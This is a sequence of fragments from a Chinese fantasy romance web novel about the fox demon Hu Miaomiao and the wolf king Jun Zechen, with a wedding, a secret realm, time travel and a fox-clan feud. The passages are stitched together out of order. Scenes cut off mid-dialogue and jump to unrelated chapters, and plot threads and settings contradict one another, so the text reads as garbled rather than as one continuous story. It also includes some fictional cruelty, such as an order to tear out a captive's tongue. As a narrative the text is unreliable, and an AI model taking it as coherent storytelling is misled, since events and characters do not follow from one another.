所有恶狼的视线都集中了过去。 “什么东西?” “是狐狸叫,快去看看,别是狡诈的狐族又偷逃跑了。” 所有狼一拥而上,奔着他们所在位置而来。 “贱人!” 苏山灵对胡淼淼破口大骂,“你以为狼族过来,你就能活吗?想死早说!” 堂堂王女声音如此尖锐语气又这般刻薄,连白青羽都不适地蹙眉,“现在不是计较这个的时候,为今之计是先想想怎么逃。” 狼族的力量本身就强过他们,苏山灵又不怎么修炼,实力在狐族一般。 她一咬牙:“我服用过魅果,能短时间内制造幻象。” 白青羽讶然:“你父王竟然把魅果给你了?” 她不提还好,一提到魅果苏山灵就来气。 “不知道是哪个贼人进入狐族圣地,盗取了魅果,我这枚魅果尚未成熟,所以坚持不了多久。” 何止坚持不了多久,甚至还破绽百出,她抓胡淼淼就的就是魅术,幻象是半成品,才被胡淼淼瞧出了破绽。 魅果…… 胡淼淼被捂着嘴,悄悄竖起耳朵,不知怎么,突然想到未成婚之间,嘬嘬送她的果子。 对她有很强大的吸引力,吃完之后还睡了嘬嘬。 难不成…… 胡淼淼眼底闪过一抹复杂,原来在她不知道的情况下,嘬嘬为她付出那么多。 那可是狐族,他一匹狼孤身进入狐族,本事再高被狐族发现在劫难逃。 大坏狼,为什么对狐那么好,让她知道他身份之后都放不下良心离开。 胡淼淼吸了吸鼻子,眼睛湿漉漉的,看起来好像要哭了。 在逃跑的过程中,白青羽不经意回头看她一眼,视线落在她的眼睛上,呼吸一窒,暗道这狐果然手段了得。 都这个时候了还装可怜呢。 白青羽正要收回视线,突然脑海中出现一道传音。 “救救,帮帮狐吧。” 她不知道为什么,直到有一次她路过,听见那只狗说:“狐狸好嚣张啊,好想一屁股坐死。” 胡淼淼:“???” 可恶,狐狸的婚礼,她嚣张嚣张有问题吗? 胡淼淼还有更嚣张的,为了报复那只狗,她先下手为强,从树上跳下去,一屁股坐在狼的脑袋上,势必要先坐死他。 过后,这件事不知怎么传到了君泽琛的耳朵里,狐狸被君泽琛薅过去耳提命面。 说外面的野狗脏得很,不要乱坐,如果非要坐的话,就坐他身上。 胡淼淼觉得他有些无理取闹,毕竟他又不是狗,而且他也不会大胆的想一屁股坐死狐狸。 君泽琛一眼便看出她不服气,拍了拍她的狐臀,口不择言,“再乱坐,给你打肿。” 给胡淼淼气成河豚,好几天没理他,连人形都不亲他了。 君泽琛痛失心上人的每日一吻,还在苦中绣狼。 终于在十月初,将嫁衣上的狼不狼狗不狗的东西绣好。 他又抓紧去绣自己的新郎服,因为太着急手上还被戳了几个针眼。 胡淼淼白日里跟着狼族去布置婚礼现场,晚上看见他的手指,到底还是有些心疼的。 拿着上次药膏给男人上药,时不时凑过去吹两口气。 狐狸灯照耀着洞内的一切,她的脸颊就像是暖玉,垂落的睫毛会随着吹气一抖一抖。 君泽琛抬起另一只手,轻轻碰碰。 她犹如惊弓之鸟,抬眸看他,“你干什么?” 君泽琛坦然收手。 “就碰碰怎么了?” 胡淼淼埋怨:“我还以为你要戳瞎我的眼睛。” 君泽琛的手指被女人捏在手里,让他别乱动。 他这才老实下来。 没一会,他又用指腹勾了勾胡淼淼的手心,胡淼淼怕痒,刷地一下撤回去,恼怒:“你今天的手怎么那么欠。” 指腹的柔软消失,君泽琛垂眸思索:“有吗?” 胡淼淼:“你自己数,今天摸我多少下?吃饭的时候摸嘴,说我嘴角有饭粒,我让你拿出证据你又拿不出来,我好端端坐着什么都不干你都要过来捏我两下,这就算了,正午的时候我睡觉,你过来捏我鼻子,说马上就要成婚我怎么睡得着。” 胡淼淼眉头直竖,“你不会在紧张吧。” 君泽琛被数落一通,冷着脸道:“不可能。” 他可是狼王,怎么可能紧张。 夜里,胡淼淼陷入睡眠,她的梦里不安稳,地震山摇,一会发洪水,一会天崩,地裂,最终她从睡梦中惊醒,一睁开眼睛,身边的人正在翻来覆去。 她忍无可忍,“君泽琛,你再晃,就不要睡床了。” “我在睡觉,你不要一惊一乍。”床搭子笔直笔直地躺下,并扯了她的小被子,盖住他自己身上。 “胡淼淼,你不要总是半夜抢我被子。” 胡淼淼:“……” 没等她控诉,男人长臂一伸,连她都抢了过去,抱在怀里吸了一口,语气平淡地倒打一耙,“不抱着我你睡不着,过来吧,” 君泽琛凝视她的小被包,“可是不看你一眼,我不放心。” 半晌,被子里传来窸窸窣窣的声音,紧接着露出一张包裹严实的小脑袋,除了小巧的脸蛋之外,一根头发都没露出来,就像是那种小海豹,耳朵都看不见。 她吸了吸鼻子:“可以了吗?” 胡淼淼甚至不敢去看男人审视的眼神,心里像是有个小锤子,不停地击打着鼓点,让她的心七上八下的。 男人也不知发没发现她的异常,不经意地瞥一眼地上乱糟糟的东西,弯下笔直的腰板,开始收拾。 他平静的可怕。 将每一样物品都放回原位,摆放回属于他们的位置,不曾挪动半分。 他说:“既然不舒服就要好好休息,我正好最近有事,会让小红照看你……”他顿了顿,“你,可以放心休息了。” 语罢,君泽琛没再多言,幽深诡谲的瞳仁闪过一抹复杂,深深看了她一眼,“你好好保重。” 待他走后,胡淼淼捂着被子坐在原地,看着他收拾完的屋子。 刚才情急之下,她慌乱地解开行李,根本没时间收拾,就用被子盖在身上藏好了。 他有看出来什么吗? “那引来天罚的那个人,是不是死了?” 胡淼淼看着远方的轰动,天罚已经停止了,余威还是让人心有余悸。 鸡大妖说:“这还是要看那人的实力咯。” 行叭,胡淼淼的妖力很少,还没有能力引开天罚,她只看两眼就没怎么注意了,然而在下山的路上却突然遭遇外来者的袭击。 说是袭击,其实不准确。 可能是意外的倒霉。胡淼淼养伤期间,君泽琛都不曾出现,出去找他,遇见的狼都说他们的王在忙。 狼族和狐族打架的时候,君泽琛都没忙过,此次狐族服个软,怎么就忙起来了? 胡淼淼不信。 君泽琛就是在躲着她。 谁敢想,狼族的王竟然是个胆小鬼,敢做不敢当。 君泽琛不在,鸡大妖和山鬼整日跟着小狐狸鬼混,她偶尔试探地探出狐爪,去和那些狼族交流。 没有狼敢惹她,或许被特殊教育过,每次看见胡淼淼都夹着尾巴,耷拉耳朵收敛獠牙,一副受气狗模样。 渐渐地,胡淼淼也没有那么害怕狼族了,堂而皇之在狐族乱逛,爪子还很欠,偶尔会趁那些狼不注意,轻飘飘给上那么一爪子。 狼族不语,只是一味地当狗。 能怎么办,王在阴湿的角落里待着呢,半点没离开狐狸,如果在他眼皮子底下对狐狸不敬,等着点名吧。 狐狸在狼族的日子,过得比狐族舒坦。 直到一日早上,胡淼淼在被子里发现了一根黑毛,敏锐地察觉到不一样的气息。 当天晚上她和鸡大妖他们早早分开回去睡觉。 月色的银色光芒覆盖住世界,仿佛为万物覆盖上了一层薄纱,万籁俱寂,房间的门无声无息被打开,高大的身影出现在床边,伫立一会,确定床上的人已经睡着了,熟练地躺上去,手臂小心翼翼地掀开被子。 下一秒,在晚上依旧醒目的月白小手抓住他的手腕。 男人很明显地愣住。 原本躺着床上酣睡之人,不知何时睁开了眼睛。 她面向他侧躺着,右手撑着侧脸,左手拉着他的手,打了个哈气,“我当是哪个贼人,原来是一只大色狼啊。” 她似乎很困,拼着一股气硬撑到现在,倔强地睁着眼皮,睫毛垂落透着几丝慵懒,“妖王大人认罪不认?” 妖王大人紧绷的身躯缓缓放松,他长臂一伸,将她拥入怀中,埋入她的颈侧深深吸一口气,“不认,胡淼淼,你都把我欺负成什么样了,哪有狼回自己家还要偷偷摸摸的。” “你若是真想偷偷摸摸,就不会留下一根狼毛。” 她的指尖勾住他披散下来的长发,微微卷起。 瓮声瓮气阴阳他,“谁敢欺负您呐,我这老腰都快断了,也没见有人给揉揉。” “没良心的。”哪天晚上没给她揉? 君泽琛给她揉腰,低声道:“这不是怕你恼我吗?” “是有些恼。”不过几天下来,胡淼淼的气早消了。 她瞪他一眼,“你以后可不许那样了。” 一想到那几日都发生了什么,胡淼淼的脸颊便忍不住发热,悄悄瞥一眼男人的手和那薄而性感的唇,不自觉有些腿软。 君泽琛睥她一眼,薄唇轻启,“自作自受。”“噗通——” 有什么东西栽倒在地,盘膝修炼的男人懒懒地瞥一眼,一个用狼毛团成的毛团子凭空乱跑,仿佛有什么东西在扑,滚来滚去,最终滚到他的腿边儿。 他修长的手指执起狼毛团,丢到不远处的桌角旁。 又是噗通一声,桌角被撞得乱颤,他的眉心也跟着一跳,道了句:“蠢东西。” 世界上怎么会有如此蠢笨且幼稚的生物,玩一个毛团子都会撞桌脚,还乐此不疲地反复撞。 这东西会偶尔消失一段时间,有时候是几天,有时候是几个月。 每次只要她一出现,都会很闹腾。 亦如此时非要吵着他陪她玩,他堂堂狼王统领万千狼族,怎么会陪一只小小的猫妖玩? 那日盘问,他将所有妖族种族都说个遍儿,唯有提及猫妖,笨蛋东西有了反应。 猫这种生物君泽琛接触得不多,毕竟狼和猫也合不来,他依旧不知小东西是哪里来的,反正看不见,长此以往他也就睁一只眼闭一只眼。 正在男人思索之际,手指被什么东西撞一下,他垂眸,那枚丢出去的毛团子已经被捡回来丢在他手边,手上毛绒绒的触感是猫妖正在用脑袋撞他,催促他丢出去。 君泽琛不理解,一个幼稚的游戏哪来的那么大瘾。 他随手一丢,这一次丢到床上。 “小猫妖”一头扎进了柔软的床铺,然后不动了。 狼王不怎么睡觉,但是床上依旧有他的气息,热烈的像是雨后的阳光,暖洋洋的。 胡淼淼在床上打了个滚,一点点挪动标记地盘,再深深吸一口气,没一会就将床弄得乱糟糟。 如果君泽琛能看见她,一定会看见到处都是狐毛。 可惜,他看不见。 也幸亏他看不见,不然看见陌生的女妖怪在他床上如此作为,铁定又要和她翻脸。 君泽琛的寝殿内有修炼所用的法器,他一般都坐在法器里面修炼,往日稍微一闭眼,几天、甚至几个月就过去了。 而这一次,他闭目几秒睁开眼睛, 狼毛团子正在床上,没有被叼回来。 是走了吗? 走了也好,省得打扰他修炼。 君泽琛冷冷地想着,再次闭上眼睛。 过了半炷香,他蹙眉,怎么无法入定? 这种情况从未有过,肯定是被那只猫妖打扰得有所懈怠,影响他修炼的东西都该得到惩罚。 偏偏那只猫身上带有独特的力量,虚无缥缈的看不见,想抓都困难,甚至可以在骚扰他之后无声无息消失,再也回不来。 “你……”胡淼淼气得要找他理论,被他一把按回去,“乖一些,让我好好抱抱。” 偷偷摸摸的抱始终不够解乏,他温香软玉在怀,舒坦地眯起眼睛,连月色下的面具都柔和了不少。 胡淼淼困劲儿没过,没一会开始眼睛打架,轻轻呢喃,“嘬嘬。” 鸡大妖和山鬼就在胡淼淼一左一右,他们谁都没有被波及到,只有胡淼淼,被天空上突然掉下来的小东西砸了个正着。 差点被砸出妖相,她疼得直抽气,怒气冲冲地捡起罪魁祸首,所有火气在看见它的一刹那瞬间烟消云散。 手里是一只不明生物的幼崽,比胡淼淼的原形还要小上很多,像是被人拿火烧过,浑身上的毛毛被烧焦,毛下到处都是血痕,一看就是被人狠狠的虐待的。 胡淼淼瞬间想到自己的小时候,狠狠怜爱了,把要下山找君泽琛的事抛之脑后,小心翼翼捧着幼崽,轻柔地抱回狐狸洞。 一鸡一鬼一左一右。 鸡:“这是什么?” 鬼:“这是……狗还是狼?” 胡淼淼扒拉扒拉小东西的尾巴,它因为受伤狠狠夹着,应该……是狗吧? 小东西奄奄一息,胡淼淼管不了那么多了,让鸡大妖和山鬼出去,自己拿起剪刀剪掉他身上烧焦的毛,然后眉头紧蹙,没纠结两秒,便动用了妖力。 一枚晶莹的、蓝色的水滴状的晶石,出现在小崽子上方,源源不断的妖力,温养着小东西的血肉。 这些妖力是胡淼淼在凡间好不容易攒的,当初连好狗都没赶上这种待遇,动物幼崽脆弱,更能激起小狐狸的共感。 她幼崽那么大的时候,无数次幻想,自己被其他狐狸欺负的时候,不管是谁,只要能救救她,就好。 把她从泥泞里挖出来,放在一旁她就满足了。 或者让她在舔舐伤口的时候,在身边陪伴她。 其实,还是有的,比如她在狐族养的狗,比如,那只濒临死亡的大灰猫,再比如,曾经逗留在她耳朵上的蝴蝶,那短暂的幸福,她都没有留住。 胡淼淼总是有爱捡东西的毛病,尤其是对弱者,本能地想,在他们最脆弱的时候伸出援手,是否能让狐圆了幼时的梦? 胡淼淼用妖丹的储备能量保住了“小狗”的性命,自己却也因为能量消耗过度变回了原形。 她疲倦地在小狗身边闭上了眼睛,懒洋洋地甩着尾巴,心想,狐狸真能干,今天造了七级浮屠。 哈气—— 她翻了个身,大尾巴盖在小狗的半个身子,在他身边睡了过去。 鸡大妖支支吾吾,很是为难:“我……那个地方可能不太好,改日,我再托朋友找更好的地方。” 胡淼淼:“没事,我不挑!” 鸡大妖欲哭无泪:“祖宗啊,您给咱一条活路吧……” 胡淼淼嗅到了不一样的气息,提溜起它的翅膀,狐狸眼上挑,“鸡大妖,你是不是有事情瞒着我?” 鸡大妖:“咕咕哒~”胡淼淼踏入小破院,明显感受到周围有结界的波动,但并没有阻拦她。院子里竟然有百来只鸡,各种品种的都有,鸡有些多,不太好闻,她捏了捏鼻子,一眼就看见茅草屋下面趴在鸡窝里孵蛋的鸡大妖,和飘在房顶上看话本的山鬼。 气氛融洽且平静。 然而,当他们两只看见胡淼淼的一刹那,哇地一声扑过来。 “狐祖宗你要给我做主啊!” 一鸡一鬼狼哇地开始告状:“半年,我们被关在这里整整半年。” 原来几个月前胡淼淼莫名其妙昏迷,鸡大妖和山鬼嚷嚷着要见她,被狼王冷漠地打入此院,并给了一堆鸡蛋,一屋子书。 说:“什么时候孵出一千只小鸡,看完一千本书,就可以出来了。” 鸡大妖嘤嘤嘤:“天杀的死狼,那鸡蛋没受精……” 山鬼嘤嘤嘤:“该死的臭狼,那书全是佛经,看着就想睡觉,看不了一点。” 没有狐的日子,两个小伙伴过得一个比一个惨。 胡淼淼听得目瞪口呆,好半晌才找回自己的嗓音,弱弱道:“不会吧,嘬嘬除了喜欢骗我,其他的应该没有坏心思,他狼还是很好的。” 唰唰唰—— 一鸡一鬼两双眼睛齐刷刷看过来,表情严肃:“他骗你什么了?” “哎,不提也罢,数都数不清。”狐狸有些苦恼,恰巧瞥见缩在角落里瑟瑟发抖的小鸡们,不由得问:“不是没受精吗?为什么能孵出小鸡?” “呵呵!”胡淼淼冷笑一声,“再不说,信不信姑奶奶吃了你?” 她在鸡大妖惊恐的视线下,红唇一扬,露出一对儿小尖牙。 鸡大妖哭哭啼啼:“错了姑奶奶,祖宗,您是我亲祖宗。” 狐狸是鸡的天敌,鸡妖骨子里就害怕狐狸,看一眼狐狸都是脚软的程度。 鸡大妖更是一只畏畏缩缩的小怂鸡,当下事无巨细地把事情的来龙去脉陈述了一遍,末了,还不忘记抱着狐狸的大腿哀嚎,“祖宗,您可要为小鸡做主啊,如果让他知道我把事情告诉你了,肯定把我切了炖鸡汤。” 被鸡大妖隐瞒那么久,狐狸有些生气,“炖了正好,我要吃鸡妖补补。” 狠狠欺负了一顿,胡淼淼才好受一点,拍了拍鸡大妖,“带路,我今天就要搬家。” 这山洞里已经没有隐私了,她就要走。 鸡大妖无奈,只好带她去。 一天之后,胡淼淼抱着行李,在一座山的半山腰上窜下跳。 “鸡大妖,这就是你说的山?” 她拔高了嗓子。 鸡大妖也在地上蹦迪,两只鸡爪红彤彤,甚至溢出了某些香味。 “对,是这个山没错,我朋友说这座山什么生物都没有,祖宗您可以放心住。” 去它嘤的放心住。 可不一个生物都没有吗?别说是妖怪,连植物都没有。 这里是一座还在喷发的火焰山,山体像是一个活跃的火炉,噗嗤噗嗤黑烟,她甚至能硬件岩浆的咕噜噜声,空气都是焦灼的热。 她的头发丝都烫卷了。 “你闭嘴吧,别说了快撤!”她热得脸蛋通红,汗水从脸上滴落,没两秒就蒸发了。 原形跑得快,她变成原形刷刷刷跑,鸡精在狐狸身后撒丫子狂追。 “狐祖宗,等等我,我的鸡爪熟了!” 胡淼淼的肉垫也快熟了。 她就多余把希望放在一只智商不高的鸡身上。 但到底还是心善,在心里把鸡大妖当做为数不多的朋友,她回头,叼住鸡精的脖子,迈着肉垫哒哒哒跑。 一路狂奔到山下,热气似乎没那么灼人了,她热汗直冒,浑身上下的毛毛烧成了卷卷的,她还来不及心疼,就看见了一个熟悉的身影守在山下。 她一个急刹车,就要往回跑。 然而当看见噗噗噗,即将烧红了的山体,默默地站住了爪子。 嘴里的烧晕了的鸡精吧唧一下掉在地上。 狐狸有气无力地耷拉着脑袋,转了个身,瓮声瓮气:“嘤?”好巧啊,你也来这里烤鸡吗? 呵呵呵。 捉妖师站在山脚下,背靠着树,一腿随意地屈起,手里漫不经心把玩着一个蓝色水滴状的晶石,抛出,接住。 对她抬了抬下巴,“不烧鸡,烧狐狸怎么样?你逃跑本领不错,肉质烤来吃的口感应该更好。” 话落,他对小狐狸扯了一抹意味深长,且十分诡谲的冷笑,直让小狐狸背脊的毛炸了一圈。 "嗷嗷呜!"不好吃,不给吃!嗷呜嘤! 第 25 章 第 25 章 小狐狸生气害怕的时候,背脊都会炸出一层浮毛,狐狸耳朵炸成蒲公英,尾巴炸得像是一根鸡毛掸子,整只狐狸处于戒备的状态,她盯着君泽琛,尖锐的小白犬齿露出来,对他呲了呲。 君泽琛看着她炸得乱七八糟的狐狸毛,眉宇略微蹙起,“不给吃,那你怎么把自己烤成这样?” 白狐狸毛上面一层飞灰,打着卷儿,狼灵敏的嗅觉,能闻到一股子烧焦味、以及……烤鸡味。 烤鸡味让君泽琛自动忽略了,他站在一种神奇的角度,批判狐狸:“弄的真狼狈。” 以前怎么没发现捉妖师这么有病,狐狸怎么着,他管得着吗? 从前,没人管狐狸的死活,以后更不需要别人管。 狐狸一屁股坐在地上,尾巴烦躁地在地上扫了扫,沾得都是灰尘也不在意,用一双狐狸眼怒瞪他,“不跑了,要杀要剐悉听尊便。” 也跑不了了,前两次从他手底下逃脱,已经用尽了狐狸的手段,这次君泽琛早有防备,就算她再动用狐族术法,也不能把他怎么样。 或许他们想将她溺死在水里,当做从未生过她吧。 水中的老狐王还不知道自己失去了最后的稻草,他还在恬不知耻地道:“对对对,是淼淼,淼淼你别生为父的气,你和狼王……” 胡淼淼耳朵一热,一侧头,原是君泽琛将她的耳朵捂住。 君泽琛没看她,而是对狐王说了什么,狐王脸色一变 ,突然变了一副面目,破口大骂,骂了什么胡淼淼听不清,男人的手有某种能力,温温暖暖的能帮她挡住外部的一切刺骨的寒霜。 她眨了眨眼睛,心头压抑的大石头倏然散去,她用毛绒绒的耳朵蹭了蹭男人火热的掌心。 “嘬嘬,我们走吧,我想找鸡大妖玩。” “好。”美好的时日总是短暂,潜伏在意识海里的两只妖的意识越发低迷,大多都是沉睡状态,只有遇见危险才会强行醒来,黑狼知道不能再拖。 如果让他们继续沉睡消耗灵魂,那么他们真的没有未来了。 离开之前,他吩咐狐狸在家乖乖待着,他会回来带她去人界。 狐狸以为的很快,就是和往日那般,每当她打猎回来,狗狗都会在树洞等自己,于是她点了点头,弯弯眼睛,“好,我等你回来。” 今天又是一只成功打猎的厉害狐! 猎物比较丰盛,是荤的! 拥有丰富的营养! 在君泽琛悄无声息踏入狐族之时,胡淼淼与过去的自己融合完毕。 原本精疲力竭的小狐狸刷地睁开了眼睛,一抹淡蓝色的精光一闪而过,周遭的景色发生变化,旁人看不见的水色薄雾无声无息蔓延开来。 “豺姐姐说的是这里吗?” 她轻咳一声收回手,拍拍他的猫猫头,“你别多想我就看看,有你在我怎么会摸其他毛绒绒呢,我没摸过它当然不知道谁手感好。” 【下次偷偷摸。】她把小崽子揣怀里。 熟悉的草木清香围绕,君泽琛身体染上暖意,像是被人从阴暗之地拉入暖阳,他回神发现自己爪子里正抱着桂花糕,他低头啃一口却如同爵蜡,食不知味。 他耷拉下耳朵。 孔蓝的话,一直在他脑海中挥之不去。 签订契约,便无法成为道侣。 他为何如此介意? 君泽琛不知,他和她本身就没打算成为道侣,签订契约也是没有影响的。 可思绪总是忍不住往那方面想,君泽琛很讨厌这种不受控制的情绪,低头啃掉最后一口桂花糕。 紧接着又被递过来一块,腮帮子被戳了一下。 耳边传来女子的偷笑,君泽琛心事重重叹口气,“别闹。” 话音刚落,灵舟上倏然一片寂静,仿佛周围的穿梭的景色和风声都悄然远去。 轩辕算盘掉落在地惊醒了胡淼淼,她的指尖还停留在他脸上,嗓音有些发颤,“你说什么?” 君泽琛对上两双瞪大的眼睛时,恍惚中才回神,自己刚才似乎不小心说人话了。 这段时间他一天一个变化。 起初只是时常不受控制变换成人,后来能逐渐开口说人话,只不过他一直隐藏着不被发现。 他怕一开口,一切就变得不一样了。 无意中脱口而出的人类语言像随时爆发的火山,连空气似乎都跟着焦灼起来。 君泽琛努力控制着加速跳着的心脏频率,保持镇定状似疑惑地抬头,“啾?” 怎么了? 他耳朵向后折起,一双黑色的眼眸在阳光下剔透得宛若宝石,不含任何杂质,透着几分茫然。 仿佛刚才发生的那句不闹,只是错觉。 他表演得太过认真,配合上那副受了惊吓的模样,胡淼淼惊疑不定地看两眼,不似作假。 她把小兽揽回怀里,对三师兄说,“崽崽不知什么品种,从我养了他开始,总是模仿其他动物的叫声,平时跟鸟叫似的,偶尔哼哼唧唧,刚才那句太像人话了。” 轩辕弯腰,把算盘捡起来,心疼地擦拭着上面留下的灰尘,“传言天机阁中有万图鉴,或许有他种族的记载。” 君泽琛耳朵抖了抖,看了他一眼,默默把万图鉴三个字记在心里,或许日后,他可以去趟天机阁。 刚才那件事,谁都未曾在提起,二人一兽心照不宣,全当没有发生过,可怀疑的种子已经播下,只等进一步探索,胡淼淼指尖摸索着小毛球的背脊,感受那紧绷的身躯松弛下来,若有所思。 “系统,你说,他是什么东西?” 系统没有给答复,仿佛没在她身边,胡淼淼已经习惯了,系统平时看起来好像很忙,只有重要事情才会开口。 而且她不做任务,对方也没有帮助她的义务。 她没再多言,不管小毛球是什么,最好别和原著主线扯上关系,这样至少,在可控范围内。 君泽琛:“……” 他移目,视线落在大白熊失落的毛脸上,又盯着它的体型看了半晌,没有违背兽性本能,用脑袋蹭蹭胡淼淼的掌心。 将来他也要长那么大,让她随便摸,就不会惦记其他兽了。 火堆烧得劈啪作响,上面架起四只兔子、两只鸡都是处理好的,铁南动作很是熟练,根本不用胡淼淼插手,烤好的第一只兔子递给胡淼淼,“你先吃,等会鸡也好了。” “多谢四师兄,我有这一只兔肉就可以。”胡淼淼接过横穿烤兔的木枝,兔肉外焦里嫩,表皮撒了一些调料,轻轻撕下来一块热腾腾的还冒油拉丝。 她递向肩膀,果然,小毛球的三瓣嘴凑过来,他鼻尖嗅了嗅,用舌尖卷入口中,上面那层倒刺刮得胡淼淼指尖痒痒,她克制揪小猫咪舌头的冲动收回手继续投喂。 空气中都是烤肉的香味,在场的修士大多都吃辟谷丹,闻到这味道隐约开始吞口水,互看一眼,终究放不下面子,装模作样盘膝而坐,闭目修炼。 天色渐渐昏暗下来,万象谷中的雾气越来越浓,空气也越发潮湿,还有些稀薄,群星被遮掩在乌云之下。 暗处的波涛正汹涌着,被胡淼淼暴打一顿的人如同阴沟里的蛇,死死盯着她的方向。 一道橙红色的光柱划过夜空,照亮了那些人阴郁的脸。 万象谷附近的修士们纷纷张开眼睛,看向天空上方,“怎会如此,不是还有半个月吗?秘境竟然提前了。” “其他秘境就算提前也是几日而已,这次必定另有泽机,大家小心行事。” 铁南赶紧和胡淼淼连上了通灵玉的灵诀,“进入秘境不一定能沟通,先躲好以安全为主。等我找你。” “好!” 天地间灵气动荡雾气越来越浓,仿佛巨兽向四处席卷而来,瞬间包裹住世人,周围漆黑一片,胡淼淼赶紧把小毛球抱在怀中,低声吩咐,“如果我们走散了,我试着用契约之力找你,还有,如果看见一个名唤君泽琛的少年,一定有多远躲多远。” 君泽琛眼眸微微睁大,尚未来得及说话,眼前陷入黑暗。 “应该是这里……” “可是什么都没有呀?” 妖族在本族不喜欢变成人形 ,他们更喜欢本体行动,一群小狐狸浩浩荡荡出现在胡淼淼面前,愣是看不见她身形所在。 回头打算叫上豺姐姐,可当看见身后什么都没有之后不由得一愣,豺姐姐呢? 苏山灵认出来了,胡淼淼那只贱狐竟然找过来…… 苏山灵想通过胡淼淼这个媒介回到过去,在胡淼淼内丹刚成型之时夺取她的内丹,这样胡淼淼内丹取代进入她体内就不会有太大排斥反应。 青丘大祭司还说,在夺取内丹之前,一定要让胡淼淼受尽折磨,求生意识薄弱,届时只要她稍微给点甜头,胡淼淼就会主动放弃内丹。 但来到这个世界,苏山灵步步维艰,因为她不能接触过去的自己,她如果和过去的王女融合就会渐渐丧失意识,忘记夺取妖丹的目的。 拥有浮生镜碎片,她可以接触自己以外的狐。 可是狐族不可能有豺,她在这里光是夺得狐狸们的信任就花费好几年时间。 这些年,她躲在暗处,一直怂恿他们对付胡淼淼,可惜不知怎么,那只死狐狸意志坚强,越活越久。 此刻通过浮生镜,她看见未来的胡淼淼附身在小狐狸身上,没有妖丹的她根本不是胡淼淼的对手。 她躲在暗处,在心里冷笑。 愚蠢的狐狸,敢和本体融合,且等以后彻底丧失记忆,沦为曾经的自己迷失在时空乱流之中吧。 大补! “没那么快死。”狼爪按在狐狸的脑门上,他磨牙威胁,“你再说,我就把我收藏的狐毛给你看。” 狐狸惊悚地用肉垫捂嘴,连连摇头。 太可怕了,怎么有狗坏成这样,不要让小狐狸看这些,对狐狸的毛毛不友好。 至此,狐狸不敢提这件事,只是每日醒来,会用鼻尖碰碰狗的鼻子,确定他有呼吸,才会出去觅食。 有一两个时辰,他们是分开的。 这个时候君泽琛会去寻找苏山灵,经过调查,唯有找到苏山灵 ,灰猫和狐猫才会回到原本的世界。 原本灰猫舍不得错过狐的成长,可是这个世界的狼来到这个世界的狐身边,他们之间会有自己的故事。 未来的狼和狐,也是时候放手了。 灰猫不知改变未来是什么样的,心里有对人界记忆的不舍和对改变后未来的期许。 操控身躯会消耗大量灵魂力量,大多数都是让黑狼来操控。 他趁着狐“打猎”,自己则悄悄隐藏在暗处打探消息。 就是猎物不太听话,总是用它纤细的线条腿踹她的胡须和嘴垫。 她小尖牙镶嵌在蟪蛄的腹部,含糊不清威胁,“再踹我现在就吃掉你。” 蟪蛄:“知了知了~” “你都知了,还敢踹?” “知了知了~”蟪蛄跗爪继续蹬她嘴,还扎她舌尖。 狐狸怒,用力咬,“你再踹?” “知了知了~” 君泽琛抱着小狐狸俩开,狐王在还在骂。 “畜生,如果不是当年大祭司求情,早在刚出真的时候本王就将你掐死了。” 君泽琛目光一冷,吩咐狱卒,“舌头拔了。” “是。” 有时候真怀疑坏狐狸是故意的,但每当君泽琛凝视那双澄澈见底的狐狸眼,都拿她没办法。 他疲倦地半阖眼睛,“叫狼哥哥,我是狼。” “狼哥哥。”胡淼淼默默抓住他放在自己屁股上的手,挪开,小声嘀咕,“所以要不要看狼……狼医呀?” “不去,一只狼医有什么好看的。” 狐狸瞪他一眼:“那你就继续伤着,还有你不要乱讲,狐姐姐是哪位,我根本不认识。” “是吗?”君泽琛冷笑一声,抱起她就走。 胡淼淼赶紧抱紧他的脖子,生怕他把她给摔了,当外面的第一缕阳光照在脸上,陆陆续续有几只狼向这边投来视线,她瞬间不好意思地将脑袋埋到男人肩膀上,小声咬耳朵,“你要带我去哪里呀?” “见你的狐姐姐。” 胡淼淼:“?”胡淼淼尚且不知自家黑崽欺负了人家兽兽,当她开门的时候,小毛球已经乖乖巧巧地等候在门外,见她出来,他爪尖轻轻勾住她的裙摆,熟练地爬上去,蜷缩在她肩膀上揣手手,完全看不出在外面干了什么勾当。 两只狼顿时两眼放光,磨刀霍霍走进去。 “你们要做什么?放开,我是狐族的王,我是……啊!” 牢房被关上,隔绝了一切叫声和血腥味。 回去的路上,胡淼淼安静地趴在他肩膀上,时不时向后瞅一眼,尾巴心不在焉地晃荡,敲打着男人的后背。 君泽琛道:“想什么呢?我带你去是让你处决他,不是让你伤心难过,如果觉得不高兴以后哪都不带你去,你就给我在寝殿好好待着,半步不得离开,每天我抽空回去看你,我如果不来……” 男人的嘴有时候和锯嘴葫芦似的,有时候又像老爹子叭叭个没完,狐一只耳竖,一只耳耷拉,一个字都没听进去,她蔫了吧唧道: “我在想,如果你是我爹就好啦。” 下一秒,狐狸赶紧捂住自己的屁股,“真事儿,你要是我爹,我不敢想我得有多幸福。” 嘎吱嘎吱—— 什么声音? 胡淼淼疑惑地探头,声音是从男人的……嗯,嘴里放出来的,疑似在咬牙。 “胡淼淼。” “哎!” “我看你是欠收拾了。” 上一次欠收拾,狐好像十天半个月没下得去床,这一次……她捂着自己屁股,叽叽歪歪,“你说过的我神魂不稳。” 所以才这样有恃无恐的挑衅他吗? 男人薄唇勾起一抹冷笑:“神魂不稳,就应该修炼神魂。” 他薅住小狐狸的后颈皮,提溜到怀里,转瞬消失在原地,而在身后默默不死心跟上来的红狼突然汗毛直立,一个巨大的力量从天而降,将他砸进地里数十丈,爬半天都没爬出来。 疼死狐了! 这狗疯了! 红溯魇才不管那么多,他记得小狐狸,上次在拈花楼里的仇他还记得呢。 只不过之前被狼王带走了,没机会收拾狐狸,这一次,胡淼淼找到了,不需要从小狐狸嘴里套话,他可得让这只狐狸好看。 他咬住了狐狸的尾巴,小狐狸疼得眼泪汪汪,回头咬回去。 无奈狼毛比狐毛硬,扎嘴,她的牙尖尖小小,根本不是红溯魇的对手。 “嗷呜!”看我。 红狗下意识看一眼,便撞入一双蓝色瞳仁中,宛如汪洋大海,多凝视几分就会溺死在其中。 他松了嘴,小狐狸二话不说,熟练地逃跑。 红溯魇也意识到自己中计了,恼怒地狼吼一声,追了上去。 两者对山里的情况分外熟悉,又都是妖族原形,跑起来的速度极快,可惜胡淼淼的身体远不如狼族妖将,眼看距离越来越近,就要被追上了,胡淼淼突然看见前方多了个人。 她眼睛一亮,脚底抹油,弹射过去。 红溯魇也眼前一亮,大叫一声:“老大,快抓住那只狐狸,看我今天不抓住她当下酒菜……嗯?自投罗网?” 